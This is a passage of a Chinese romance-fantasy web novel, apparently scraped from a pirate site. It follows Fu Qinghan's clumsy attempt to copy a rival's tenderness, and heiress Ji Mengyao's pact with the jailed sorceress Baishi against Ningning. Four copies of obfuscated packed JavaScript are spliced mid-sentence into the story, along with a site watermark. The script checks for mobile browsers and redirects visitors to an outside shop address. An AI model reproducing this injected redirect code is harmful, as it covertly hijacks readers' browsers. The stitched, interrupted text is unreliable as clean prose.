他正准备开口,告诉她关于白石审讯的情况,顺便商量一下接下来寻找玉佩的计划。 然而,还没等他走到楼梯口,别墅的大门忽然被人推开了。 “小师妹!” 一个温润如玉、带着几分急切的声音,硬生生地插了进来,打断了傅清寒即将出口的话。 傅清寒的脚步猛地一顿,脸色瞬间黑了下来。 只见玄冥提着一个精致的紫檀木食盒,快步走了进来。他今日穿了一身浅灰色的休闲装,显得格外清爽儒雅,一进门,那双眼睛就仿佛自带定位一般,越过了客厅里的所有人,精准地落在了楼梯上的凝凝身上。 “师兄?”凝凝有些意外,随即脸上露出了自然的笑容,“你怎么来了?” 玄冥几步走到楼梯下,极其自然地向凝凝伸出手,那是想要搀扶她的姿势。 “我怎么能不来?”他的语气里,盛满了恰到好处的担忧和心疼,声音温柔得能滴出水来,“昨天那场酒会,你为了布局,运筹帷幄,耗费了那么多心神。我担心你的身体吃不消,特意一大早就起来,为你熬了这安神补气的汤。” 凝凝心中一暖。昨晚的惊心动魄,别人只看到了结果的爽快。除了傅清寒,只有师兄,第一时间想到了她身体的损耗。 她没有拒绝玄冥伸过来的手,搭着他的手臂走下了最后几级台阶:“让师兄费心了,其实我休息一晚已经好多了。” “好不好,不是你说了算的,得脉象说了算。”玄冥嗔怪地看了她一眼,然后转头看向那个被他晾在一边、脸色已经黑如锅底的傅清寒,仿佛才刚刚发现他一般,微笑着点了点头: “傅先生也在啊。正好,我给凝凝带了滋补的药膳,要一起吗?” 这句反客为主的话,差点没把傅清寒给气笑了。 这明明 是他家!是他老婆! 但玄冥根本没给他发作的机会他扶着凝凝走到餐桌旁坐下打开食盒那股浓郁的药香瞬间弥漫开来。 “来先喝口汤暖暖胃。” 玄冥端出一碗色泽晶莹的汤羹他并没有直接递给凝凝而是当着傅清寒的面伸出修长的手背轻轻地、极其细致地贴了贴细腻的瓷碗外壁然后才满意地点了点头柔声说道:“温度刚好小心烫。” 这一套行云流水的、充满了体贴细节的动作让一旁的陈瑶都看得微微一愣忍不住小声嘀咕:“哇……这也太细心了吧……长得还这么帅……啧啧。” 陈瑶说着回头去看傅清寒。 只见他站在不远处双手插在裤兜里面无表情地看着这一幕。 他不爽。非常不爽。 但他又不得不承认玄冥做的这些细节确实是他平时忽略的。他习惯了用强大的力量去保护她去解决**烦但这种生活中的微小呵护却似乎有所缺陷。 难道……凝凝真的更吃这一套? 而玄冥则仿佛完全没有接收到那道几乎要将他冻僵的冰冷视线。他看着凝凝小口地喝着汤 “今天在药铺看到一味‘玉露草’品相极好。我想起你小时候最喜欢用它来配‘龙胆草’说是能闻到雨后森林的味道。我当时还笑你说你鼻子比小狗都灵。不知道你现在还记不记得?” 凝凝被他这番话勾起了遥远的回忆忍不住笑了起来点了点头:“当然记得。” 玄冥看到她脸上真切的笑容眼中闪过一丝得逞的精光随即又化为无限的宠溺和感慨他轻叹一声:“一转眼你都要当娘亲了。时间过得真快啊。” 他自然地伸出手搭在凝凝的手腕上“今日胎像如何?让我看看。” 他的手指微凉动作却极其温柔。两人靠得很近那种旁若无人的亲密感让客厅里的其他人仿佛都成了背景板。 不远处的沙发上傅清寒紧绷的下颌线和微微眯起的眼睛显示出他内心的极度烦躁。 这个玄冥装模作样一个大男人嘘寒问暖娘们唧唧!但凝凝不仅不反感还冲他笑!有那么受用吗?! 不就是“ 温柔小意,有什么稀罕的! 一个荒诞的念头,在他脑海中悄然萌发。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771320|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不就是试温度、说好话吗?这到底有什么难的! 他傅清寒,还不是手到擒来! 坐在他对面的陈慕白敏锐地发现,傅清寒虽然看似在看报纸,但他的视线,却一直通过报纸上方的缝隙,死死地锁定着玄冥的一举一动! 那眼神……不像是单纯的敌意和监视。 那是一种……极其复杂的,混杂着审视、分析、甚至……模仿的眼神?! 陈慕白的脑海里,瞬间冒出了一个极其荒诞不经的念头。 不……不会吧? 清寒他……总不至于是要……学这个大师兄吧? 这个念头刚一出现,就被他自己给掐灭了。不可能!绝对不可能!让傅清寒这个活阎王,去学玄冥那种笑里藏刀的“绿茶手段?这比让他相信母猪会上树还离谱! 他只是单纯的不爽,想找出破绽,对他的绿茶行径进行批判!对,一定是这样。 陈慕白无比笃定地得出了结论。 然而,十分钟后,早餐开始。陈慕白就知道还是自己年轻了。 在这个世界上有许多东西是不能以常理来推断的,比如爱情。 凝凝刚坐下,傅清寒就亲自端着一碗热气腾腾的红枣小米粥,从厨房走了出来。他那高大的身躯在围裙的衬托下显得有些反差萌,但他脸上的表情却严肃得仿佛手里端的不是粥,而是核按钮。 他走到凝凝身边,没有像往常一样直接放下,而是停顿了一下。 在凝凝、陈瑶、陈慕白以及玄冥四人疑惑的目光中,傅清寒伸出那只习惯了握枪和签发文件的、骨节分明的大手。 他用一种极其僵硬又不自然,甚至带着几分视死如归的姿势,伸出食指和中指的指背,轻轻地、小心翼翼地,碰了一下碗壁。 然后,他迅速地收回手,清了清嗓子,用一种他自以为很“温柔,但实际上却依旧冰冷生硬到能把人冻伤的语气,沉声说道: “温度,刚好。 “噗——! 正在喝牛奶的陈瑶,看到这一幕,一口奶直接喷了出来,呛得她惊天动地地咳嗽起来! 凝凝也彻底愣住了,她手里拿着的勺子,“当啷 他……这是在干什么? 被魂穿了?还是中邪了? 第165章 纪家千金 只有陈慕白,在经历了最初的震惊之后,扶了扶差点从鼻梁上滑下来的眼镜,低下头,用喝咖啡的动作来掩饰自己那已经快要抽筋的嘴角。 他错了。他错得离谱。 这个男人,是真的在学!而且,学得……惨不忍睹! 傅清寒似乎还没有意识到自己已经制造了一场“灾难”。 他看到凝凝没有像昨天对玄冥那样,立刻露出感动的表情,心中微微有些挫败。他觉得,一定是自己“共同回忆”的部分没跟上。 于是,他再次努力地搜肠刮肚,想找一个他和凝凝的“温馨话题”。 想了半天,他终于开口了,语气依旧沉稳,但仔细听会有一丝不确定: “我记得,上次在京市,为了治那些过敏的战士,你让人熬了一大锅甘草绿豆汤。我记得你当时说,绿豆要煮到开花,甘草要后放,那样解毒效果最好。” 他顿了顿,学着玄冥刚才的句式,努力让自己的声音听起来“深情款款”: “不知道你现在,还记不记得那锅汤的味道?” 全场死寂。 凝凝:“……” 这都什么跟什么啊?! 陈瑶已经快把整张脸都埋进面前的粥碗里去了,那小小的肩膀一耸一耸,整个人都在剧烈地颤抖,仿佛下一秒就要笑到桌子底下去! 陈慕白也差点把饭喷出来。 人家玄冥聊的是“雨后森林的味道”,是充满诗情画意和美好幻想的回忆! 你聊的是“甘草绿豆汤”?!还是在那种几百个大男人光着膀子、浑身长满红疹、气味足以熏**的军营宿舍里熬的?! 那味道……能叫“美好回忆”吗?那分明是混杂着汗臭、脚臭和药味儿的“生化武器”好吗?! 傅部长!求求您了!您对“温馨”这两个字是不是有什么误解?您这是在搞浪漫,还是在搞忆苦思甜的大会啊?!之前怎么没发现你是个这么抽象的人啊! 就连一向淡定的玄冥,嘴角都忍不住抽搐了一下,眼中闪过一丝看傻子的嘲弄。他忽然觉得自己之前的担心是多余的,这个男人看起来运筹帷幄,实则在感情上,简直就是个木头!不!连木头都不是,完全就是一窍不通的大石头! 傅清寒看着凝凝和陈瑶那想笑又不 敢笑、表情极其扭曲的脸,再看看陈慕白那不忍直视的样子,以及玄冥那副看傻子一样的眼神,他敏锐的洞察力终于上线了,他后知后觉地意识到—— 他,搞砸了! 彻底砸了! “砰!” 他重重地放下手中的牛奶杯,那张俊美无俦的脸,因为极致的恼羞成怒而涨得通红! 他猛地站起身,什么也没说,黑着脸,转身就往书房的方向大步走去! 他又生气了! 但这次,是被他自己给蠢哭了! “清寒!”凝凝看着他那副气急败坏、落荒而逃的背影,终于反应了过来! 她看着桌上那碗还冒着热气的粥,再联想到他刚才那笨拙又僵硬的模仿,以及那句令人啼笑皆非的“绿豆汤回忆”…… 一股前所未有的、混杂着好气、好笑,和几乎要将她整个人淹没的甜蜜与心疼,瞬间涌上了她的心头! 这个傻瓜! 这个不可一世、掌控一切的男人,竟然会为了自己,去笨拙地模仿另一个人! 她再也忍不住,“扑哧”一声笑了出来,随即,立刻站起身,追了出去。 “你们吃,我去哄哄那个‘醋坛子’。” —— 书房里,光线昏暗。 傅清寒背对着门,站在窗前,挺拔的背影透着一股生人勿近的“自闭”气息。他正在深刻反省自己刚才那个足以载入“黑历史”的举动。太蠢了。简直蠢得无可救药。 就在他懊恼得想把窗框捏碎的时候,一双柔软的手臂,轻轻地从背后环住了他的腰。 熟悉的馨香传来,背后的温热让他紧绷的肌肉瞬间僵硬了一下,随即慢慢放松下来。 “还生气呢?”凝凝的声音软软糯糯的,带着一丝笑意,脸颊贴在他的背上蹭了蹭,“我的傅大部长,什么时候变得这么玻璃心了?” 傅清寒沉默了片刻,才闷闷地开口:“我没生气。我只是……觉得自己很可笑。” “谁说可笑了?”凝凝绕到他面前,抬起头,认真地看着他的眼睛,“我觉得很可爱。因为我知道,那个不可一世的傅清寒,只有在面对我的时候,才会变得这么笨拙,这么小心翼翼。” 她踮起脚尖,伸出双手捧住他的脸,在他紧抿的 唇角亲了一下: “清寒,你不需要学任何人。玄冥师兄有他的好,那是兄长的关怀。但我要的,是你。是你霸道的保护,是你别扭的吃醋,是你笨拙的温柔。你只需要做你自己,就是我最爱的样子。” 这番话,像一阵春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771321|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风,彻底吹散了傅清寒心头的阴霾。他看着眼前这个满眼都是他的小女人,心中涌起一股难以言喻的满足和悸动。 他猛地将她拥入怀中,力道大得仿佛要将她揉进骨血。 “凝凝……”他低喃着她的名字,声音沙哑而动情。 温存良久,傅清寒的情绪终于平复。他拉着凝凝坐在沙发上,神色恢复了往日的严肃与冷峻。“我有正事要跟你说。” 凝凝立刻坐直了身体:“是关于白石?” “对。”傅清寒点头,眼中闪过一丝寒芒,“那个女人嘴很硬,审了一晚上,她虽然承认了**和下蛊,但一口咬定‘鸾凤佩’不在她身上。她甚至嚣张地威胁警方,如果不放了她,那块玉佩就会永远消失在这个世界上。” “她在待价而沽。”凝凝一针见血地指出,“她知道那是她唯一的保命符。只要我们还想要玉佩,就不能真的拿她怎么样。” “没错。”傅清寒沉声道,“我已经安排了人手,准备对她进行全天候的监控,同时想办法……” 就在这时,一阵急促的敲门声打断了他的话。 “咚咚咚!” 傅清寒眉头微皱,有些不悦。他还没来得及开口,门外就传来了苏文赫有些焦急的声音:“清寒,凝凝,出事了。警署那边传来消息,有人带着全港最好的律师团,去保释白石了!” “什么?”傅清寒和凝凝对视一眼,都意识到了事情的严重性,“白石涉及三条人命,还是当众承认的,谁敢保她?” 书房门被推开,苏文赫手里紧紧攥着电话,脸色是从未有过的凝重,深吸一口气,吐出了一个名字:“纪家。” “纪家?”凝凝闻言,放下了手中的汤勺,有些疑惑,“哪个纪家?” “港市四大豪门之首,真正的老牌贵族。”陈慕白在一旁解释道,神情也变得严肃起来,“纪家掌控着港市一半的航运和地产,底蕴深厚,连港督都要给几分薄面。如果说赵家和霍家是豪门,那纪家就是豪门中的豪门。” “这次出面的,是纪家的大小姐,纪梦瑶。”苏文赫补充道,“理由是白石患有严重的精神类疾病,且之前的认罪是不具备法律效力。他们申请取保候审,去私立医院接受治疗。” “精神病?”傅清寒冷笑一声,“这个纪家大小姐,为什么要在这个时候趟这浑水?” 凝凝的眼中闪过一丝思索:“白石身上,一定有她想要的东西,比如那些见不得光的妖术。” 第166章 一劳永逸的美貌 客厅还坐着的玄冥,听到纪梦瑶试图去保释白石时,垂下的眼帘遮住了眸底一闪而过的幽光。他端起茶杯,轻轻抿了一口,掩去了嘴角的讽刺。 西九龙警署,重案组临时羁押区。 这里原本是关押重刑犯的地方,守备森严,连只苍蝇都飞不进去。尤其是白石这种涉及三条人命、又牵扯到警署副署长**案的要犯,更是全天候二十四小时监控,哪怕是天王老子来了,按理说也不能探视。 然而此刻,那扇厚重的铁门,却在一阵刺耳的摩擦声中,缓缓打开了。 负责看守的警司一脸谄媚地弯着腰,对着一位刚刚收起金笔、在“特殊探视申请单”上签完字的精英律师连连点头,随即转头看向律师身后那个全身上下珠光宝气的年轻女人,语气恭敬得近乎卑微: “纪小姐,按照规矩这本来是不行的。但既然是纪大少爷开了口,这点面子我们肯定要给。里面的监控我已经让人暂时关了,您有十五分钟。只是……请尽量快一点,别让我们难做。” 这,就是纪家的权势。 在港市,纪家的名帖,有时候比港督的命令还要好用。 那年轻女人并未理会警司的讨好,甚至连正眼都没瞧他一下。她踩着十厘米的红底高跟鞋,带着一股令人窒息的昂贵香水味,神色慌张地走进了那间昏暗的拘留室。 她摘下巨大的墨镜,露出一张堪称完美的脸蛋。那是标准的瓜子脸,桃花眼,皮肤白皙如雪,五官精致得仿佛是上帝精心雕琢的艺术品,美得惊心动魄。 只是此刻,这张美丽的脸上,却写满了与其身份不符的焦虑和恐慌。她甚至不敢做太大的表情,仿佛生怕动作大了,脸上的皮肤就会像劣质的瓷器一样裂开。 她就是纪家千金,纪梦瑶。 “大师!白石大师!” 纪梦瑶一看到坐在角落里、虽然穿着囚服却依然阴沉可怖的白石,立刻扑了过去,双手死死抓着栏杆,声音都在发抖: “你……你怎么会被抓进来?!那我怎么办?我的药……我的药昨天就吃完了!” 白石抬起头,那一双阴毒的眼睛在昏暗的光线下显得格外渗人。她看着眼前这个惊慌失措的女人,嘴角勾起一抹得逞的狞笑。 这可是她手里,最好用 的一张牌。 “慌什么?”白石沙哑着嗓子,冷笑道,“纪小姐,你现在可是全港第一美人,怎么能这么失态?若是让外面的狗仔队拍到你这副样子,你的‘女神’人设还要不要了?” “美人?!” 这两个字像是踩到了纪梦瑶的尾巴,她尖叫起来,声音尖锐刺耳。她颤抖着手,指着自己左眼角下方一个极其微小的、几乎看不出来的红斑,歇斯底里地吼道: “你看看!你快看看!今天早上起来,这里已经开始发痒了!你说过,那个‘桃花换颜丹’只要停药三天,我的脸就会开始溃烂,变回以前那个丑八怪的样子!你快给我药!多少钱我都给!” 小说的域名caixs?(请来才 小说 看最新章节 完整章节) 丑八怪。 这是纪梦瑶这辈子最痛恨、也最恐惧的词。 作为港市第一豪门纪家的千金,她的父母——纪宏图和林慧珍,年轻时都是出了名的人中龙凤,样貌气度皆是顶级。哥哥纪云深也是清俊非常,可偏偏到了她这里,完全不是那么一回事。 她从小就长得平平无奇,皮肤暗沉,塌鼻梁,厚嘴唇,完全没有“继承”父母半点优点。 在那个光鲜亮丽的名媛圈子里,她就像是一只混进了天鹅群里的丑小鸭。虽然因为纪家的权势,没人敢当面说她丑,但那些背后的指指点点、那些意味深长的眼神,还有那些像针一样扎在她心头的窃窃私语——“这纪小姐长得……怎么一点都不像纪先生和纪太太啊?” 这些话,成了她整个青春期的噩梦!更是她内心深处最大的心虚! 她既自卑又虚荣,为了变美,她几乎试遍了所有的整容手段,却始终无法达到她想要的效果。直到一年前,她遇到了“金山居士”,通过服用那种用处子鲜血炼制的秘药“桃花换颜丹”,才终于“逆天改命”,拥有了如今这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771322|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副颠倒众生的皮囊。 但这美貌,是借来的,是虚假的,更是有代价的。一旦断药,反噬会比之前更丑陋十倍! 她绝不能变回去!绝不! 白石看着她,眼中闪过一丝轻蔑:“纪小姐,我现在自身难保,哪里还有药给你?警察已经抄了我的道场,所有的炼丹炉都被封了。” “那怎么办?!”纪梦瑶彻底崩溃了,她抓着栏杆疯狂摇晃,指甲在大理石地面上划出刺耳的声音,“你不能不 管我!你说过能保我一世美貌的!我花了那么多钱!你这个骗子!” “我是没办法了。”白石耸了耸肩随即话锋一转眼中闪烁着如同毒蛇吐信般的诱惑光芒“不过……虽然‘桃花换颜丹’没了但我这里还有一个更厉害的法子。” 纪梦瑶的哭声戛然而止:“什……什么法子?” “一个能让你永久保持现在的容貌甚至能让你脱胎换骨美艳不可方物 “鸾凤佩。”白石一字一句地说道每一个字都带着魔力“那是一件上古神器拥有夺天地造化的灵气。只要用它做阵眼施展‘换命之术’就能将别人的气运和美貌永久地转移到你身上。” “鸾凤佩?”纪梦瑶一愣。 “不它现在被我藏在了一个只有我知道的地方。”白石阴测测地说道“但是我现在出不去拿不到。而且开启阵法还需要一个关键的祭品。” “什么祭品?” “白凝凝的血。” 提到这个名字白石眼中迸发出滔天的恨意面容扭曲:“那个女人是天生的灵体她的血是最好的引子。而且……就是她害我入狱的!纪小姐你如果想要永久的美貌就必须帮我做两件事。” 纪梦瑶此刻已经被“永久美貌”四个字冲昏了头脑她根本不在乎要牺牲谁她只在乎自己的脸! “哪两件事?” “第一不管你用什么办法把我弄出去。至少要给我争取到自由活动的机会让我去取玉佩。” “第二”白石的声音如同恶魔的低语带着蛊惑“去对付白凝凝。搞垮她的生意毁了她的名声最后……把她带到我面前。” 第167章 千金布局 听到要对付白凝凝,纪梦瑶的脸上不仅没有犹豫,反而露出了一丝嫉恨。 “白凝凝……就是昨天酒会上那个女人?” 霍振邦为了证明自己对霍家的掌控,昨天的酒会帖子遍下港市的有头有脸的家族。纪家自然也在列。作为纪家唯一的千金,她也去了。 她还记得在宴会厅二楼看到的那个身影。那个虽然怀着孕,衣着简单,却依旧清丽脱俗、气场强大,美得让人移不开眼的女人。 那种美,不是靠药物堆砌出来的僵硬,而是从骨子里透出来的、充满了生命力的灵动。那是她纪梦瑶做梦都想拥有,却无论怎么整容、怎么吃药都模仿不来的——天生丽质。 更重要的是,她想起了那个一直守护在白凝凝身边的男人——傅清寒。 昨天在酒会上,她只是远远地看了一眼,就被那个男人给震住了。 那一身剪裁得体的黑色西装,包裹着修长挺拔的身躯,那张俊美如天神的脸庞上,带着一股睥睨天下的冷傲。而当他看向白凝凝时,眼中的冰雪消融,化作了独一无二的宠溺。 她嫉妒!疯狂地嫉妒! 凭什么一个内地来的“野丫头”,能拥有这样完美的男人?她纪梦瑶才是港市第一名媛,她比白凝凝更尊贵,那个男人应该是她的! 白石敏锐地捕捉到了纪梦瑶眼中的嫉恨,她立刻狞笑着加大了筹码,“纪小姐,您还不知道吧?那个傅清寒,可不仅仅是个长得好看的男人。他是京市傅家的嫡孙,手握军方实权,那是真正的天之骄子,前途不可限量!在内地,多少名门闺秀想见他一面都难如登天!” 她顿了顿,语气中带上了浓浓的不屑和鄙夷,开始疯狂拉踩: “可那个白凝凝算什么东西?不过是个没爹没娘的孤女,除了会点不知从哪儿偷学来的医术,身无长物!论家世,论样貌,论手段,她给您提鞋都不配!” “像傅先生那样的人中龙凤,只有您这样出身高贵、艳冠群芳的真正的豪门千金,才能成为他的贤内助,才能与他并肩站在权力的巅峰!” “您想想,如果您拥有了绝世的容貌,再有我独门的‘**术’相助……那个傅清寒,他怎么可能还会看上那个乡下丫头?” 这番话,简直是说到了纪梦瑶的心坎里! 每一个字都精准地击中了她那极度膨胀的虚荣心和潜意识里的自卑! 是啊!白凝凝那个**,怎么配得上那么好的男人?只有我,只有我纪梦瑶,才是他最完美的选择! 只要拥有了永久的美貌,只要抢到了那个最优秀的男人,所有人都会闭嘴!再也不会有人敢说她不像纪家人!再也不会有人敢嘲笑她! 美貌,加男人。 这个诱惑,太大、太致命了。 她深吸一口气,那张原本精致完美的脸上,浮现出一抹与她美貌极不相符的、贪婪而又狰狞的笑容。 “好。她重新戴上墨镜,遮住了眼底的疯狂,“成交。 纪梦瑶踩着红底高跟鞋,哒哒哒地走出了拘留室。阴暗的走廊里,回荡着她清脆的脚步声,每一步都像是踩在别人的心尖上。 走出警署大门,港市刺眼的阳光让她微微眯起了眼。 她抬起手,透过指缝看着这繁华的都市,嘴角勾起一抹志在必得的冷笑。白凝凝,你等着。 你的脸!你的男人!都会是我的! “大小姐。早已等候在车旁的司机恭敬地拉开了劳斯莱斯的车门。 纪梦瑶优雅地坐进车里,摘下墨镜,对着后视镜仔细检查着自己的脸。眼角那颗原本微小的红斑,在阳光下似乎又明显了几分,像是一只丑陋的虫子,在啃食着她引以为傲的美貌。 她心中一阵烦躁,从包里掏出粉饼,狠狠地盖了几层,直到完全看不出痕迹,才稍稍松了口气。 “去公司。她冷冷地吩咐道,“另外,给我联系大哥,我有事找他。 她的手死死攥着鳄鱼皮的手包。 白石那个老妖婆嘴很严,死活不肯透露“鸾凤佩 这就意味着,她必须先完成白石的条件——搞垮白凝凝,毁了她的名声。只有让白石满意了,那个老妖婆才会带她去取玉佩,为她施展“换命之术。 至于捞人……律师团已经在运作了,但那个死老太婆涉及三条人命,即使是纪家也不可能马上把人弄出来。 所以,当务之急,是对付白凝凝! 她要用最快、最狠的手段,将那个内地来的野丫头踩在脚下 ,让白石看到她的“诚意! 纪氏集团总部,顶层总裁办公室。 宽大的落地窗前,纪云深一身深灰色西装,负手而立。他五官深邃,气质沉稳,眉宇间带着几分久居上位的威严,只是此刻,那双总是冷静睿智的眼睛里,却透着一丝深深的疲惫。 桌上放着一份最新的医疗报告。父亲纪宏图的病情,又恶化了。 “大哥。 办公室的门被推开,纪梦瑶带着一阵香风走了进来。她一改往日的骄纵,脸上挂着甜美乖巧的笑容,甚至还亲自端了一杯咖啡。 “怎么有空来公司了?纪云深转过身,看着这个被全家宠坏了的妹妹,眉头微不可察地皱了一下,但语气还是温和的。 “我听说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771323|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸爸身体又不好了,心里难受。纪梦瑶放下咖啡,走到纪云深身边,挽住他的胳膊,眼圈微红,“大哥,我想为爸爸做点什么。 纪云深叹了口气,拍了拍她的手:“你有这份心就好。公司的事有我,你不用操心。 “不,大哥。纪梦瑶抬起头,眼中闪烁着“坚定的光芒,“我听说下周有一场大型的土地拍卖会,政府打算把市中心那块闲置已久的A地块拿出来拍卖。那可是块风水宝地啊! 她顿了顿,继续说道:“我想……我想以爸爸的名义,举办一场‘慈善土地拍卖预热酒会’。把全港的名流都请来,一方面是为拍卖会造势,宣示我们纪家对这块地的势在必得;另一方面,也是想借着这个人气,为爸爸祈福冲喜。说不定爸爸一高兴,病就好了呢? 纪云深微微一愣。他没想到一向只知道买包开派对的妹妹,竟然会关心起公司的生意,甚至还想到了为父亲冲喜。 “而且,纪梦瑶见大哥有些意动,立刻抛出了真正的诱饵,“我还听说,最近那个在港市风头正盛的‘神医’白凝凝,也会对这次拍卖会感兴趣。大哥,你不是一直在找名医给爸爸看病吗?不如……借这个机会,把她也请来? 提到白凝凝,纪云深的眼神动了一下。 这几天,“凝悦的老板白凝凝在港市名声大噪,不仅治好了霍老爷子,还揭穿了金山居士的骗局,被传得神乎其神。他确实动过请她来给父亲看病的念头,只是因为各种事务缠身,还没来得及安排。 “你想请她? “是啊。纪梦瑶垂下眼帘,遮住眼底那一闪而过的怨毒,语气却显得格外大度,“以前是我不懂事,对人有偏见。现在为了爸爸,只要有一线希望,我都愿意试一试。而且……我也想趁这个机会,跟她化干戈为玉帛,向她请教一下……保养的秘诀。 纪云深看着妹妹“懂事的模样,心中甚慰。他觉得妹妹是真的长大了,知道为家族分忧了。 “好。他点了点头,终于松口,“这件事交给你去办。请柬我会让人准备好,务必办得风光体面。 “谢谢大哥!那我先去准备了!纪梦瑶激动地抱了一下纪云深,脸上露出了灿烂的笑容。 说完,她转身欲走。 然而,就在她转身的那一瞬间,她下意识地摸了一下自己的脸,像是因为焦虑而产生的、急于想要掩盖什么的微小动作,落入了纪云深的眼中。 这几天,坊间有一些关于梦瑶动用家族律师团去保释重犯的传闻,他本来只当是谣言。但此刻,看着妹妹那虽然精致却透着一丝焦躁的背影,那种不好的预感再次浮上心头。 “站住。 第168章 凝凝应战 纪云深的声音,忽然在她身后响起,带着一股不容忽视的威压。 纪梦瑶的脚步一顿,心脏猛地漏跳了一拍。她转过身,脸上的笑容有些僵硬:“大哥,还有事吗?” 纪云深从办公桌后绕了出来,走到她面前。他比她高出一个头,居高临下的视线里,透着看穿一切的犀利。 “梦瑶,酒会的事我可以答应你。但是……”他的声音沉了几分,带着警告的意味,“我听说,你最近动用了家里的律师团,去警署保释那个叫白石的妖人?” 纪梦瑶的手心瞬间冒出了冷汗,她没想到大哥的消息这么灵通。她眼神闪烁,强装镇定地解释道:“大哥,那个……那个白石大师以前帮我算过命,挺准的。我看她这次挺可怜的,而且听说她会炼制一种延年益寿的丹药,我想着如果能把她弄出来,说不定能给爸爸……” “胡闹!” 纪云深低喝一声,打断了她的辩解。他的眼神变得严厉起来:“那个白石涉及三条人命,甚至还牵扯到蛊毒这种邪术!现在全港的媒体都在盯着这件事,警方更是严阵以待。你这个时候去捞她,是想把咱们纪家也拖进这滩浑水里吗?” “可是……” “没有可是!”纪云深斩钉截铁地说道,“律师团我已经撤回来了。以后不许你再跟那个女人有任何来往!你是纪家的大小姐,要注意自己的身份和影响!那种江湖术士,只会坏了我们家的名声!” 纪梦瑶低下头,死死咬着嘴唇,眼底闪过一丝怨毒和恐慌。 律师团撤了?! 那她怎么救白石?如果不救白石,她的脸……她的脸还要不要了?! “听到了吗?”见她不说话,纪云深加重了语气。 “听……听到了。”纪梦瑶深吸一口气,强行压下心中的惊涛骇浪,乖顺地点了点头,“大哥教训得是,是我欠考虑了。我这就去跟律师说。” “去吧。”纪云深摆了摆手,看着妹妹离去的背影,眉头微微皱起。他总觉得,今天的梦瑶,有些反常。 走出办公室的纪梦瑶,脸上的乖顺瞬间消失,取而代之的是狰狞的扭曲。 大哥竟然断了她的后路! 既然捞人这条路走不通,那她就只剩下最后一条路了——搞垮白凝凝, 让白石看到她的诚意,然后逼白石告诉她玉佩的下落!只要拿到了玉佩,她自己就能施法,哪怕白石还在牢里也无所谓! “白凝凝……她从牙缝里挤出这个名字,“这次酒会,就是你的死期! —— 半山安全屋别墅。 午后的阳光慵懒地洒在露台上。 凝凝正窝在躺椅里,手里捧着一本古医书,手边放着一盘洗好的葡萄。傅清寒坐在一旁,正任劳任怨地……剥葡萄皮。 他剥得极认真,修长的手指灵活地撕开紫色的果皮,露出晶莹剔透的果肉,然后喂到凝凝嘴边。 “张嘴。 “啊——凝凝配合地张开嘴,一口咬下,甜津津的汁水在口中爆开,幸福得眯起了眼。 “好吃吗?傅清寒看着她眼角眉梢都染上了笑意,心里一阵满足。 凝凝看着他这副温柔体贴的模样,脑海里忽然浮现出前几天那场堪称“灾难现场 为了不再让他产生那种“不如师兄温柔的奇怪挫败感,凝凝立刻用力点头,这马屁拍得真心实意且响亮:“好吃!主要是傅大部长剥的,那必须甜度加倍啊! 傅清寒轻笑一声,正准备再剥一颗,苏文赫拿着一张烫金的请柬,大步流星地走了过来。 “哎哟,这大白天的,能不能顾及一下我们这些单身狗的感受?陈瑶跟在后面,夸张地捂住眼睛,“我的狗眼都要被闪瞎了! 傅清寒连个眼神都懒得给她,继续专心致志地剥葡萄:“不想看就回京市。 “你!陈瑶气结,“傅清寒你是不是玩不起?! 傅清寒将剥好的葡萄喂给凝凝,这才懒洋洋地抬起眼皮,瞥了她一眼,语气中带着一丝毫不掩饰的嘲讽: “回京市正好,让陆泽远给你剥。 就在陈瑶刚想反驳“谁稀罕他剥的时候,只听傅清寒又轻飘飘地补了一刀: “哦,对了。以你的智商,估计是你给他剥还差不多。 “傅、清、寒!!! 她那副张牙舞爪却又拿他没办法的样子,引得众人都忍不住笑了起来。凝凝更是笑得差点呛到,连忙 拍了拍傅清寒的手臂,示意他别再欺负陈瑶了。 